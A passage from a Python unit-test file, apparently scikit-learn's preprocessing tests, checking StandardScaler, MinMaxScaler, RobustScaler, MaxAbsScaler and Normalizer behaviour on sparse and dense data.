        batch0 = slice(0, chunk_size)
        scaler_incr = StandardScaler().partial_fit(X[batch0])
        if chunk_size == 1:
            assert_array_almost_equal(np.zeros(n_features, dtype=np.float64),
                                      scaler_incr.var_)
            assert_array_almost_equal(np.ones(n_features, dtype=np.float64),
                                      scaler_incr.scale_)
        else:
            assert_array_almost_equal(np.var(X[batch0], axis=0),
                                      scaler_incr.var_)
            assert_array_almost_equal(np.std(X[batch0], axis=0),
                                      scaler_incr.scale_)  # no constants

        # Test std until the end of partial fits, and
        scaler_batch = StandardScaler().fit(X)
        scaler_incr = StandardScaler()  # Clean estimator
        for i, batch in enumerate(gen_batches(n_samples, chunk_size)):
            scaler_incr = scaler_incr.partial_fit(X[batch])
            assert_correct_incr(i, batch_start=batch.start,
                                batch_stop=batch.stop, n=n,
                                chunk_size=chunk_size,
                                n_samples_seen=scaler_incr.n_samples_seen_)

        assert_array_almost_equal(scaler_batch.var_, scaler_incr.var_)
        assert_equal(scaler_batch.n_samples_seen_, scaler_incr.n_samples_seen_)


def test_standard_scaler_partial_fit_numerical_stability():
    # Test if the incremental computation introduces significative errors
    # for large datasets with values of large magniture
    rng = np.random.RandomState(0)
    n_features = 2
    n_samples = 100
    offsets = rng.uniform(-1e15, 1e15, size=n_features)
    scales = rng.uniform(1e3, 1e6, size=n_features)
    X = rng.randn(n_samples, n_features) * scales + offsets

    scaler_batch = StandardScaler().fit(X)
    scaler_incr = StandardScaler()
    for chunk in X:
        scaler_incr = scaler_incr.partial_fit(chunk.reshape(1, n_features))

    # Regardless of abs values, they must not be more diff 6 significant digits
    tol = 10 ** (-6)
    assert_allclose(scaler_incr.mean_, scaler_batch.mean_, rtol=tol)
    assert_allclose(scaler_incr.var_, scaler_batch.var_, rtol=tol)
    assert_allclose(scaler_incr.scale_, scaler_batch.scale_, rtol=tol)
    # NOTE Be aware that for much larger offsets std is very unstable (last
    # assert) while mean is OK.

    # Sparse input
    size = (100, 3)
    scale = 1e20
    X = rng.randint(0, 2, size).astype(np.float64) * scale
    X_csr = sparse.csr_matrix(X)
    X_csc = sparse.csc_matrix(X)

    for X in [X_csr, X_csc]:
        # with_mean=False is required with sparse input
        scaler = StandardScaler(with_mean=False).fit(X)
        scaler_incr = StandardScaler(with_mean=False)

        for chunk in X:
            # chunk = sparse.csr_matrix(data_chunks)
            scaler_incr = scaler_incr.partial_fit(chunk)

        # Regardless of magnitude, they must not differ more than of 6 digits
        tol = 10 ** (-6)
        assert_true(scaler.mean_ is not None)
        assert_allclose(scaler_incr.var_, scaler.var_, rtol=tol)
        assert_allclose(scaler_incr.scale_, scaler.scale_, rtol=tol)


def test_partial_fit_sparse_input():
    # Check that sparsity is not destroyed
    X = np.array([[1.], [0.], [0.], [5.]])
    X_csr = sparse.csr_matrix(X)
    X_csc = sparse.csc_matrix(X)

    null_transform = StandardScaler(with_mean=False, with_std=False, copy=True)
    for X in [X_csr, X_csc]:

        X_null = null_transform.partial_fit(X).transform(X)
        assert_array_equal(X_null.data, X.data)
        X_orig = null_transform.inverse_transform(X_null)
        assert_array_equal(X_orig.data, X_null.data)
        assert_array_equal(X_orig.data, X.data)


def test_standard_scaler_trasform_with_partial_fit():
    # Check some postconditions after applying partial_fit and transform
    X = X_2d[:100, :]

    scaler_incr = StandardScaler()
    for i, batch in enumerate(gen_batches(X.shape[0], 1)):

        X_sofar = X[:(i + 1), :]
        chunks_copy = X_sofar.copy()
        scaled_batch = StandardScaler().fit_transform(X_sofar)

        scaler_incr = scaler_incr.partial_fit(X[batch])
        scaled_incr = scaler_incr.transform(X_sofar)

        assert_array_almost_equal(scaled_batch, scaled_incr)
        assert_array_almost_equal(X_sofar, chunks_copy)  # No change
        right_input = scaler_incr.inverse_transform(scaled_incr)
        assert_array_almost_equal(X_sofar, right_input)

        zero = np.zeros(X.shape[1])
        epsilon = np.nextafter(0, 1)
        assert_array_less(zero, scaler_incr.var_ + epsilon)  # as less or equal
        assert_array_less(zero, scaler_incr.scale_ + epsilon)
        # (i+1) because the Scaler has been already fitted
        assert_equal((i + 1), scaler_incr.n_samples_seen_)


def test_min_max_scaler_iris():
    X = iris.data
    scaler = MinMaxScaler()
    # default params
    X_trans = scaler.fit_transform(X)
    assert_array_almost_equal(X_trans.min(axis=0), 0)
    assert_array_almost_equal(X_trans.max(axis=0), 1)
    X_trans_inv = scaler.inverse_transform(X_trans)
    assert_array_almost_equal(X, X_trans_inv)

    # not default params: min=1, max=2
    scaler = MinMaxScaler(feature_range=(1, 2))
    X_trans = scaler.fit_transform(X)
    assert_array_almost_equal(X_trans.min(axis=0), 1)
    assert_array_almost_equal(X_trans.max(axis=0), 2)
    X_trans_inv = scaler.inverse_transform(X_trans)
    assert_array_almost_equal(X, X_trans_inv)

    # min=-.5, max=.6
    scaler = MinMaxScaler(feature_range=(-.5, .6))
    X_trans = scaler.fit_transform(X)
    assert_array_almost_equal(X_trans.min(axis=0), -.5)
    assert_array_almost_equal(X_trans.max(axis=0), .6)
    X_trans_inv = scaler.inverse_transform(X_trans)
    assert_array_almost_equal(X, X_trans_inv)

    # raises on invalid range
    scaler = MinMaxScaler(feature_range=(2, 1))
    assert_raises(ValueError, scaler.fit, X)


def test_min_max_scaler_zero_variance_features():
    # Check min max scaler on toy data with zero variance features
    X = [[0., 1., +0.5],
         [0., 1., -0.1],
         [0., 1., +1.1]]

    X_new = [[+0., 2., 0.5],
             [-1., 1., 0.0],
             [+0., 1., 1.5]]

    # default params
    scaler = MinMaxScaler()
    X_trans = scaler.fit_transform(X)
    X_expected_0_1 = [[0., 0., 0.5],
                      [0., 0., 0.0],
                      [0., 0., 1.0]]
    assert_array_almost_equal(X_trans, X_expected_0_1)
    X_trans_inv = scaler.inverse_transform(X_trans)
    assert_array_almost_equal(X, X_trans_inv)

    X_trans_new = scaler.transform(X_new)
    X_expected_0_1_new = [[+0., 1., 0.500],
                          [-1., 0., 0.083],
                          [+0., 0., 1.333]]
    assert_array_almost_equal(X_trans_new, X_expected_0_1_new, decimal=2)

    # not default params
    scaler = MinMaxScaler(feature_range=(1, 2))
    X_trans = scaler.fit_transform(X)
    X_expected_1_2 = [[1., 1., 1.5],
                      [1., 1., 1.0],
                      [1., 1., 2.0]]
    assert_array_almost_equal(X_trans, X_expected_1_2)

    # function interface
    X_trans = minmax_scale(X)
    assert_array_almost_equal(X_trans, X_expected_0_1)
    X_trans = minmax_scale(X, feature_range=(1, 2))
    assert_array_almost_equal(X_trans, X_expected_1_2)


def test_minmax_scale_axis1():
    X = iris.data
    X_trans = minmax_scale(X, axis=1)
    assert_array_almost_equal(np.min(X_trans, axis=1), 0)
    assert_array_almost_equal(np.max(X_trans, axis=1), 1)


def test_min_max_scaler_1d():
    # Test scaling of dataset along single axis
    for X in [X_1row, X_1col, X_list_1row, X_list_1row]:

        scaler = MinMaxScaler(copy=True)
        X_scaled = scaler.fit(X).transform(X)

        if isinstance(X, list):
            X = np.array(X)  # cast only after scaling done

        if _check_dim_1axis(X) == 1:
            assert_array_almost_equal(X_scaled.min(axis=0),
                                      np.zeros(n_features))
            assert_array_almost_equal(X_scaled.max(axis=0),
                                      np.zeros(n_features))
        else:
            assert_array_almost_equal(X_scaled.min(axis=0), .0)
            assert_array_almost_equal(X_scaled.max(axis=0), 1.)
        assert_equal(scaler.n_samples_seen_, X.shape[0])

        # check inverse transform
        X_scaled_back = scaler.inverse_transform(X_scaled)
        assert_array_almost_equal(X_scaled_back, X)

    # Constant feature
    X = np.ones(5).reshape(5, 1)
    scaler = MinMaxScaler()
    X_scaled = scaler.fit(X).transform(X)
    assert_greater_equal(X_scaled.min(), 0.)
    assert_less_equal(X_scaled.max(), 1.)
    assert_equal(scaler.n_samples_seen_, X.shape[0])

    # Function interface
    X_1d = X_1row.ravel()
    min_ = X_1d.min()
    max_ = X_1d.max()
    assert_array_almost_equal((X_1d - min_) / (max_ - min_),
                              minmax_scale(X_1d, copy=True))


def test_scaler_without_centering():
    rng = np.random.RandomState(42)
    X = rng.randn(4, 5)
    X[:, 0] = 0.0  # first feature is always of zero
    X_csr = sparse.csr_matrix(X)
    X_csc = sparse.csc_matrix(X)

    assert_raises(ValueError, StandardScaler().fit, X_csr)
    assert_raises(ValueError, StandardScaler().fit, X_csc)

    null_transform = StandardScaler(with_mean=False, with_std=False, copy=True)
    X_null = null_transform.fit_transform(X_csr)
    assert_array_equal(X_null.data, X_csr.data)
    X_orig = null_transform.inverse_transform(X_null)
    assert_array_equal(X_orig.data, X_csr.data)

    scaler = StandardScaler(with_mean=False).fit(X)
    X_scaled = scaler.transform(X, copy=True)
    assert_false(np.any(np.isnan(X_scaled)))

    scaler_csr = StandardScaler(with_mean=False).fit(X_csr)
    X_csr_scaled = scaler_csr.transform(X_csr, copy=True)
    assert_false(np.any(np.isnan(X_csr_scaled.data)))

    scaler_csc = StandardScaler(with_mean=False).fit(X_csc)
    X_csc_scaled = scaler_csc.transform(X_csc, copy=True)
    assert_false(np.any(np.isnan(X_csc_scaled.data)))

    assert_array_almost_equal(scaler.mean_, scaler_csr.mean_)
    assert_array_almost_equal(scaler.var_, scaler_csr.var_)
    assert_array_almost_equal(scaler.scale_, scaler_csr.scale_)

    assert_array_almost_equal(scaler.mean_, scaler_csc.mean_)
    assert_array_almost_equal(scaler.var_, scaler_csc.var_)
    assert_array_almost_equal(scaler.scale_, scaler_csc.scale_)

    assert_array_almost_equal(
        X_scaled.mean(axis=0), [0., -0.01, 2.24, -0.35, -0.78], 2)
    assert_array_almost_equal(X_scaled.std(axis=0), [0., 1., 1., 1., 1.])

    X_csr_scaled_mean, X_csr_scaled_std = mean_variance_axis(X_csr_scaled, 0)
    assert_array_almost_equal(X_csr_scaled_mean, X_scaled.mean(axis=0))
    assert_array_almost_equal(X_csr_scaled_std, X_scaled.std(axis=0))

    # Check that X has not been modified (copy)
    assert_true(X_scaled is not X)
    assert_true(X_csr_scaled is not X_csr)

    X_scaled_back = scaler.inverse_transform(X_scaled)
    assert_true(X_scaled_back is not X)
    assert_true(X_scaled_back is not X_scaled)
    assert_array_almost_equal(X_scaled_back, X)

    X_csr_scaled_back = scaler_csr.inverse_transform(X_csr_scaled)
    assert_true(X_csr_scaled_back is not X_csr)
    assert_true(X_csr_scaled_back is not X_csr_scaled)
    assert_array_almost_equal(X_csr_scaled_back.toarray(), X)

    X_csc_scaled_back = scaler_csr.inverse_transform(X_csc_scaled.tocsc())
    assert_true(X_csc_scaled_back is not X_csc)
    assert_true(X_csc_scaled_back is not X_csc_scaled)
    assert_array_almost_equal(X_csc_scaled_back.toarray(), X)


def test_scaler_int():
    # test that scaler converts integer input to floating
    # for both sparse and dense matrices
    rng = np.random.RandomState(42)
    X = rng.randint(20, size=(4, 5))
    X[:, 0] = 0  # first feature is always of zero
    X_csr = sparse.csr_matrix(X)
    X_csc = sparse.csc_matrix(X)

    null_transform = StandardScaler(with_mean=False, with_std=False, copy=True)
    clean_warning_registry()
    with warnings.catch_warnings(record=True):
        X_null = null_transform.fit_transform(X_csr)
    assert_array_equal(X_null.data, X_csr.data)
    X_orig = null_transform.inverse_transform(X_null)
    assert_array_equal(X_orig.data, X_csr.data)

    clean_warning_registry()
    with warnings.catch_warnings(record=True):
        scaler = StandardScaler(with_mean=False).fit(X)
        X_scaled = scaler.transform(X, copy=True)
    assert_false(np.any(np.isnan(X_scaled)))

    clean_warning_registry()
    with warnings.catch_warnings(record=True):
        scaler_csr = StandardScaler(with_mean=False).fit(X_csr)
        X_csr_scaled = scaler_csr.transform(X_csr, copy=True)
    assert_false(np.any(np.isnan(X_csr_scaled.data)))

    clean_warning_registry()
    with warnings.catch_warnings(record=True):
        scaler_csc = StandardScaler(with_mean=False).fit(X_csc)
        X_csc_scaled = scaler_csc.transform(X_csc, copy=True)
    assert_false(np.any(np.isnan(X_csc_scaled.data)))

    assert_array_almost_equal(scaler.mean_, scaler_csr.mean_)
    assert_array_almost_equal(scaler.var_, scaler_csr.var_)
    assert_array_almost_equal(scaler.scale_, scaler_csr.scale_)

    assert_array_almost_equal(scaler.mean_, scaler_csc.mean_)
    assert_array_almost_equal(scaler.var_, scaler_csc.var_)
    assert_array_almost_equal(scaler.scale_, scaler_csc.scale_)

    assert_array_almost_equal(
        X_scaled.mean(axis=0),
        [0., 1.109, 1.856, 21., 1.559], 2)
    assert_array_almost_equal(X_scaled.std(axis=0), [0., 1., 1., 1., 1.])

    X_csr_scaled_mean, X_csr_scaled_std = mean_variance_axis(
        X_csr_scaled.astype(np.float), 0)
    assert_array_almost_equal(X_csr_scaled_mean, X_scaled.mean(axis=0))
    assert_array_almost_equal(X_csr_scaled_std, X_scaled.std(axis=0))

    # Check that X has not been modified (copy)
    assert_true(X_scaled is not X)
    assert_true(X_csr_scaled is not X_csr)

    X_scaled_back = scaler.inverse_transform(X_scaled)
    assert_true(X_scaled_back is not X)
    assert_true(X_scaled_back is not X_scaled)
    assert_array_almost_equal(X_scaled_back, X)

    X_csr_scaled_back = scaler_csr.inverse_transform(X_csr_scaled)
    assert_true(X_csr_scaled_back is not X_csr)
    assert_true(X_csr_scaled_back is not X_csr_scaled)
    assert_array_almost_equal(X_csr_scaled_back.toarray(), X)

    X_csc_scaled_back = scaler_csr.inverse_transform(X_csc_scaled.tocsc())
    assert_true(X_csc_scaled_back is not X_csc)
    assert_true(X_csc_scaled_back is not X_csc_scaled)
    assert_array_almost_equal(X_csc_scaled_back.toarray(), X)


def test_scaler_without_copy():
    # Check that StandardScaler.fit does not change input
    rng = np.random.RandomState(42)
    X = rng.randn(4, 5)
    X[:, 0] = 0.0  # first feature is always of zero
    X_csr = sparse.csr_matrix(X)
    X_csc = sparse.csc_matrix(X)

    X_copy = X.copy()
    StandardScaler(copy=False).fit(X)
    assert_array_equal(X, X_copy)

    X_csr_copy = X_csr.copy()
    StandardScaler(with_mean=False, copy=False).fit(X_csr)
    assert_array_equal(X_csr.toarray(), X_csr_copy.toarray())

    X_csc_copy = X_csc.copy()
    StandardScaler(with_mean=False, copy=False).fit(X_csc)
    assert_array_equal(X_csc.toarray(), X_csc_copy.toarray())


def test_scale_sparse_with_mean_raise_exception():
    rng = np.random.RandomState(42)
    X = rng.randn(4, 5)
    X_csr = sparse.csr_matrix(X)
    X_csc = sparse.csc_matrix(X)

    # check scaling and fit with direct calls on sparse data
    assert_raises(ValueError, scale, X_csr, with_mean=True)
    assert_raises(ValueError, StandardScaler(with_mean=True).fit, X_csr)

    assert_raises(ValueError, scale, X_csc, with_mean=True)
    assert_raises(ValueError, StandardScaler(with_mean=True).fit, X_csc)

    # check transform and inverse_transform after a fit on a dense array
    scaler = StandardScaler(with_mean=True).fit(X)
    assert_raises(ValueError, scaler.transform, X_csr)
    assert_raises(ValueError, scaler.transform, X_csc)

    X_transformed_csr = sparse.csr_matrix(scaler.transform(X))
    assert_raises(ValueError, scaler.inverse_transform, X_transformed_csr)

    X_transformed_csc = sparse.csc_matrix(scaler.transform(X))
    assert_raises(ValueError, scaler.inverse_transform, X_transformed_csc)


def test_scale_input_finiteness_validation():
    # Check if non finite inputs raise ValueError
    X = [np.nan, 5, 6, 7, 8]
    assert_raises_regex(ValueError,
                        "Input contains NaN, infinity or a value too large",
                        scale, X)

    X = [np.inf, 5, 6, 7, 8]
    assert_raises_regex(ValueError,
                        "Input contains NaN, infinity or a value too large",
                        scale, X)


def test_robust_scaler_2d_arrays():
    """Test robust scaling of 2d array along first axis"""
    rng = np.random.RandomState(0)
    X = rng.randn(4, 5)
    X[:, 0] = 0.0  # first feature is always of zero

    scaler = RobustScaler()
    X_scaled = scaler.fit(X).transform(X)

    assert_array_almost_equal(np.median(X_scaled, axis=0), 5 * [0.0])
    assert_array_almost_equal(X_scaled.std(axis=0)[0], 0)


def test_robust_scaler_transform_one_row_csr():
    # Check RobustScaler on transforming csr matrix with one row
    rng = np.random.RandomState(0)
    X = rng.randn(4, 5)
    single_row = np.array([[0.1, 1., 2., 0., -1.]])
    scaler = RobustScaler(with_centering=False)
    scaler = scaler.fit(X)
    row_trans = scaler.transform(sparse.csr_matrix(single_row))
    row_expected = single_row / scaler.scale_
    assert_array_almost_equal(row_trans.toarray(), row_expected)
    row_scaled_back = scaler.inverse_transform(row_trans)
    assert_array_almost_equal(single_row, row_scaled_back.toarray())


def test_robust_scaler_iris():
    X = iris.data
    scaler = RobustScaler()
    X_trans = scaler.fit_transform(X)
    assert_array_almost_equal(np.median(X_trans, axis=0), 0)
    X_trans_inv = scaler.inverse_transform(X_trans)
    assert_array_almost_equal(X, X_trans_inv)
    q = np.percentile(X_trans, q=(25, 75), axis=0)
    iqr = q[1] - q[0]
    assert_array_almost_equal(iqr, 1)


def test_robust_scaler_iris_quantiles():
    X = iris.data
    scaler = RobustScaler(quantile_range=(10, 90))
    X_trans = scaler.fit_transform(X)
    assert_array_almost_equal(np.median(X_trans, axis=0), 0)
    X_trans_inv = scaler.inverse_transform(X_trans)
    assert_array_almost_equal(X, X_trans_inv)
    q = np.percentile(X_trans, q=(10, 90), axis=0)
    q_range = q[1] - q[0]
    assert_array_almost_equal(q_range, 1)


def test_robust_scaler_invalid_range():
    for range_ in [
        (-1, 90),
        (-2, -3),
        (10, 101),
        (100.5, 101),
        (90, 50),
    ]:
        scaler = RobustScaler(quantile_range=range_)

        assert_raises_regex(ValueError, 'Invalid quantile range: \(',
                            scaler.fit, iris.data)


def test_scale_function_without_centering():
    rng = np.random.RandomState(42)
    X = rng.randn(4, 5)
    X[:, 0] = 0.0  # first feature is always of zero
    X_csr = sparse.csr_matrix(X)

    X_scaled = scale(X, with_mean=False)
    assert_false(np.any(np.isnan(X_scaled)))

    X_csr_scaled = scale(X_csr, with_mean=False)
    assert_false(np.any(np.isnan(X_csr_scaled.data)))

    # test csc has same outcome
    X_csc_scaled = scale(X_csr.tocsc(), with_mean=False)
    assert_array_almost_equal(X_scaled, X_csc_scaled.toarray())

    # raises value error on axis != 0
    assert_raises(ValueError, scale, X_csr, with_mean=False, axis=1)

    assert_array_almost_equal(X_scaled.mean(axis=0),
                              [0., -0.01, 2.24, -0.35, -0.78], 2)
    assert_array_almost_equal(X_scaled.std(axis=0), [0., 1., 1., 1., 1.])
    # Check that X has not been copied
    assert_true(X_scaled is not X)

    X_csr_scaled_mean, X_csr_scaled_std = mean_variance_axis(X_csr_scaled, 0)
    assert_array_almost_equal(X_csr_scaled_mean, X_scaled.mean(axis=0))
    assert_array_almost_equal(X_csr_scaled_std, X_scaled.std(axis=0))

    # null scale
    X_csr_scaled = scale(X_csr, with_mean=False, with_std=False, copy=True)
    assert_array_almost_equal(X_csr.toarray(), X_csr_scaled.toarray())


def test_robust_scale_axis1():
    X = iris.data
    X_trans = robust_scale(X, axis=1)
    assert_array_almost_equal(np.median(X_trans, axis=1), 0)
    q = np.percentile(X_trans, q=(25, 75), axis=1)
    iqr = q[1] - q[0]
    assert_array_almost_equal(iqr, 1)


def test_robust_scaler_zero_variance_features():
    """Check RobustScaler on toy data with zero variance features"""
    X = [[0., 1., +0.5],
         [0., 1., -0.1],
         [0., 1., +1.1]]

    scaler = RobustScaler()
    X_trans = scaler.fit_transform(X)

    # NOTE: for such a small sample size, what we expect in the third column
    # depends HEAVILY on the method used to calculate quantiles. The values
    # here were calculated to fit the quantiles produces by np.percentile
    # using numpy 1.9 Calculating quantiles with
    # scipy.stats.mstats.scoreatquantile or scipy.stats.mstats.mquantiles
    # would yield very different results!
    X_expected = [[0., 0., +0.0],
                  [0., 0., -1.0],
                  [0., 0., +1.0]]
    assert_array_almost_equal(X_trans, X_expected)
    X_trans_inv = scaler.inverse_transform(X_trans)
    assert_array_almost_equal(X, X_trans_inv)

    # make sure new data gets transformed correctly
    X_new = [[+0., 2., 0.5],
             [-1., 1., 0.0],
             [+0., 1., 1.5]]
    X_trans_new = scaler.transform(X_new)
    X_expected_new = [[+0., 1., +0.],
                      [-1., 0., -0.83333],
                      [+0., 0., +1.66667]]
    assert_array_almost_equal(X_trans_new, X_expected_new, decimal=3)


def test_maxabs_scaler_zero_variance_features():
    """Check MaxAbsScaler on toy data with zero variance features"""
    X = [[0., 1., +0.5],
         [0., 1., -0.3],
         [0., 1., +1.5],
         [0., 0., +0.0]]

    scaler = MaxAbsScaler()
    X_trans = scaler.fit_transform(X)
    X_expected = [[0., 1., 1.0 / 3.0],
                  [0., 1., -0.2],
                  [0., 1., 1.0],
                  [0., 0., 0.0]]
    assert_array_almost_equal(X_trans, X_expected)
    X_trans_inv = scaler.inverse_transform(X_trans)
    assert_array_almost_equal(X, X_trans_inv)

    # make sure new data gets transformed correctly
    X_new = [[+0., 2., 0.5],
             [-1., 1., 0.0],
             [+0., 1., 1.5]]
    X_trans_new = scaler.transform(X_new)
    X_expected_new = [[+0., 2.0, 1.0 / 3.0],
                      [-1., 1.0, 0.0],
                      [+0., 1.0, 1.0]]

    assert_array_almost_equal(X_trans_new, X_expected_new, decimal=2)

    # function interface
    X_trans = maxabs_scale(X)
    assert_array_almost_equal(X_trans, X_expected)

    # sparse data
    X_csr = sparse.csr_matrix(X)
    X_csc = sparse.csc_matrix(X)
    X_trans_csr = scaler.fit_transform(X_csr)
    X_trans_csc = scaler.fit_transform(X_csc)
    X_expected = [[0., 1., 1.0 / 3.0],
                  [0., 1., -0.2],
                  [0., 1., 1.0],
                  [0., 0., 0.0]]
    assert_array_almost_equal(X_trans_csr.A, X_expected)
    assert_array_almost_equal(X_trans_csc.A, X_expected)
    X_trans_csr_inv = scaler.inverse_transform(X_trans_csr)
    X_trans_csc_inv = scaler.inverse_transform(X_trans_csc)
    assert_array_almost_equal(X, X_trans_csr_inv.A)
    assert_array_almost_equal(X, X_trans_csc_inv.A)


def test_maxabs_scaler_large_negative_value():
    # Check MaxAbsScaler on toy data with a large negative value
    X = [[0., 1.,   +0.5, -1.0],
         [0., 1.,   -0.3, -0.5],
         [0., 1., -100.0,  0.0],
         [0., 0.,   +0.0, -2.0]]

    scaler = MaxAbsScaler()
    X_trans = scaler.fit_transform(X)
    X_expected = [[0., 1.,  0.005,    -0.5],
                  [0., 1., -0.003,    -0.25],
                  [0., 1., -1.0,       0.0],
                  [0., 0.,  0.0,      -1.0]]
    assert_array_almost_equal(X_trans, X_expected)


def test_maxabs_scaler_transform_one_row_csr():
    # Check MaxAbsScaler on transforming csr matrix with one row
    X = sparse.csr_matrix([[0.5, 1., 1.]])
    scaler = MaxAbsScaler()
    scaler = scaler.fit(X)
    X_trans = scaler.transform(X)
    X_expected = sparse.csr_matrix([[1., 1., 1.]])
    assert_array_almost_equal(X_trans.toarray(), X_expected.toarray())
    X_scaled_back = scaler.inverse_transform(X_trans)
    assert_array_almost_equal(X.toarray(), X_scaled_back.toarray())


@ignore_warnings
def test_deprecation_minmax_scaler():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    scaler = MinMaxScaler().fit(X)

    depr_message = ("Attribute data_range will be removed in "
                    "0.19. Use ``data_range_`` instead")
    data_range = assert_warns_message(DeprecationWarning, depr_message,
                                      getattr, scaler, "data_range")
    assert_array_equal(data_range, scaler.data_range)

    depr_message = ("Attribute data_min will be removed in "
                    "0.19. Use ``data_min_`` instead")
    data_min = assert_warns_message(DeprecationWarning, depr_message,
                                    getattr, scaler, "data_min")
    assert_array_equal(data_min, scaler.data_min)


def test_warning_scaling_integers():
    # Check warning when scaling integer data
    X = np.array([[1, 2, 0],
                  [0, 0, 0]], dtype=np.uint8)

    w = "Data with input dtype uint8 was converted to float64"

    clean_warning_registry()
    assert_warns_message(DataConversionWarning, w, scale, X)
    assert_warns_message(DataConversionWarning, w, StandardScaler().fit, X)
    assert_warns_message(DataConversionWarning, w, MinMaxScaler().fit, X)


def test_maxabs_scaler_1d():
    # Test scaling of dataset along single axis
    for X in [X_1row, X_1col, X_list_1row, X_list_1row]:

        scaler = MaxAbsScaler(copy=True)
        X_scaled = scaler.fit(X).transform(X)

        if isinstance(X, list):
            X = np.array(X)  # cast only after scaling done

        if _check_dim_1axis(X) == 1:
            assert_array_almost_equal(np.abs(X_scaled.max(axis=0)),
                                      np.ones(n_features))
        else:
            assert_array_almost_equal(np.abs(X_scaled.max(axis=0)), 1.)
        assert_equal(scaler.n_samples_seen_, X.shape[0])

        # check inverse transform
        X_scaled_back = scaler.inverse_transform(X_scaled)
        assert_array_almost_equal(X_scaled_back, X)

    # Constant feature
    X = np.ones(5).reshape(5, 1)
    scaler = MaxAbsScaler()
    X_scaled = scaler.fit(X).transform(X)
    assert_array_almost_equal(np.abs(X_scaled.max(axis=0)), 1.)
    assert_equal(scaler.n_samples_seen_, X.shape[0])

    # function interface
    X_1d = X_1row.ravel()
    max_abs = np.abs(X_1d).max()
    assert_array_almost_equal(X_1d / max_abs, maxabs_scale(X_1d, copy=True))


def test_maxabs_scaler_partial_fit():
    # Test if partial_fit run over many batches of size 1 and 50
    # gives the same results as fit
    X = X_2d[:100, :]
    n = X.shape[0]

    for chunk_size in [1, 2, 50, n, n + 42]:
        # Test mean at the end of the process
        scaler_batch = MaxAbsScaler().fit(X)

        scaler_incr = MaxAbsScaler()
        scaler_incr_csr = MaxAbsScaler()
        scaler_incr_csc = MaxAbsScaler()
        for batch in gen_batches(n, chunk_size):
            scaler_incr = scaler_incr.partial_fit(X[batch])
            X_csr = sparse.csr_matrix(X[batch])
            scaler_incr_csr = scaler_incr_csr.partial_fit(X_csr)
            X_csc = sparse.csc_matrix(X[batch])
            scaler_incr_csc = scaler_incr_csc.partial_fit(X_csc)

        assert_array_almost_equal(scaler_batch.max_abs_, scaler_incr.max_abs_)
        assert_array_almost_equal(scaler_batch.max_abs_,
                                  scaler_incr_csr.max_abs_)
        assert_array_almost_equal(scaler_batch.max_abs_,
                                  scaler_incr_csc.max_abs_)
        assert_equal(scaler_batch.n_samples_seen_, scaler_incr.n_samples_seen_)
        assert_equal(scaler_batch.n_samples_seen_,
                     scaler_incr_csr.n_samples_seen_)
        assert_equal(scaler_batch.n_samples_seen_,
                     scaler_incr_csc.n_samples_seen_)
        assert_array_almost_equal(scaler_batch.scale_, scaler_incr.scale_)
        assert_array_almost_equal(scaler_batch.scale_, scaler_incr_csr.scale_)
        assert_array_almost_equal(scaler_batch.scale_, scaler_incr_csc.scale_)
        assert_array_almost_equal(scaler_batch.transform(X),
                                  scaler_incr.transform(X))

        # Test std after 1 step
        batch0 = slice(0, chunk_size)
        scaler_batch = MaxAbsScaler().fit(X[batch0])
        scaler_incr = MaxAbsScaler().partial_fit(X[batch0])

        assert_array_almost_equal(scaler_batch.max_abs_, scaler_incr.max_abs_)
        assert_equal(scaler_batch.n_samples_seen_, scaler_incr.n_samples_seen_)
        assert_array_almost_equal(scaler_batch.scale_, scaler_incr.scale_)
        assert_array_almost_equal(scaler_batch.transform(X),
                                  scaler_incr.transform(X))

        # Test std until the end of partial fits, and
        scaler_batch = MaxAbsScaler().fit(X)
        scaler_incr = MaxAbsScaler()  # Clean estimator
        for i, batch in enumerate(gen_batches(n, chunk_size)):
            scaler_incr = scaler_incr.partial_fit(X[batch])
            assert_correct_incr(i, batch_start=batch.start,
                                batch_stop=batch.stop, n=n,
                                chunk_size=chunk_size,
                                n_samples_seen=scaler_incr.n_samples_seen_)


def test_normalizer_l1():
    rng = np.random.RandomState(0)
    X_dense = rng.randn(4, 5)
    X_sparse_unpruned = sparse.csr_matrix(X_dense)

    # set the row number 3 to zero
    X_dense[3, :] = 0.0

    # set the row number 3 to zero without pruning (can happen in real life)
    indptr_3 = X_sparse_unpruned.indptr[3]
    indptr_4 = X_sparse_unpruned.indptr[4]
    X_sparse_unpruned.data[indptr_3:indptr_4] = 0.0

    # build the pruned variant using the regular constructor
    X_sparse_pruned = sparse.csr_matrix(X_dense)

    # check inputs that support the no-copy optim
    for X in (X_dense, X_sparse_pruned, X_sparse_unpruned):

        normalizer = Normalizer(norm='l1', copy=True)
        X_norm = normalizer.transform(X)
        assert_true(X_norm is not X)
        X_norm1 = toarray(X_norm)

        normalizer = Normalizer(norm='l1', copy=False)
        X_norm = normalizer.transform(X)
        assert_true(X_norm is X)
        X_norm2 = toarray(X_norm)

        for X_norm in (X_norm1, X_norm2):
            row_sums = np.abs(X_norm).sum(axis=1)
            for i in range(3):
                assert_almost_equal(row_sums[i], 1.0)
            assert_almost_equal(row_sums[3], 0.0)

    # check input for which copy=False won't prevent a copy
    for init in (sparse.coo_matrix, sparse.csc_matrix, sparse.lil_matrix):
        X = init(X_dense)
        X_norm = normalizer = Normalizer(norm='l2', copy=False).transform(X)

        assert_true(X_norm is not X)
        assert_true(isinstance(X_norm, sparse.csr_matrix))

        X_norm = toarray(X_norm)
        for i in range(3):
            assert_almost_equal(row_sums[i], 1.0)
        assert_almost_equal(la.norm(X_norm[3]), 0.0)


def test_normalizer_l2():
    rng = np.random.RandomState(0)
    X_dense = rng.randn(4, 5)
    X_sparse_unpruned = sparse.csr_matrix(X_dense)

    # set the row number 3 to zero
    X_dense[3, :] = 0.0

    # set the row number 3 to zero without pruning (can happen in real life)
    indptr_3 = X_sparse_unpruned.indptr[3]
    indptr_4 = X_sparse_unpruned.indptr[4]
    X_sparse_unpruned.data[indptr_3:indptr_4] = 0.0

    # build the pruned variant using the regular constructor
    X_sparse_pruned = sparse.csr_matrix(X_dense)

    # check inputs that support the no-copy optim
    for X in (X_dense, X_sparse_pruned, X_sparse_unpruned):

        normalizer = Normalizer(norm='l2', copy=True)
        X_norm1 = normalizer.transform(X)
        assert_true(X_norm1 is not X)
        X_norm1 = toarray(X_norm1)

        normalizer = Normalizer(norm='l2', copy=False)
        X_norm2 = normalizer.transform(X)
        assert_true(X_norm2 is X)
        X_norm2 = toarray(X_norm2)

        for X_norm in (X_norm1, X_norm2):
            for i in range(3):
                assert_almost_equal(la.norm(X_norm[i]), 1.0)
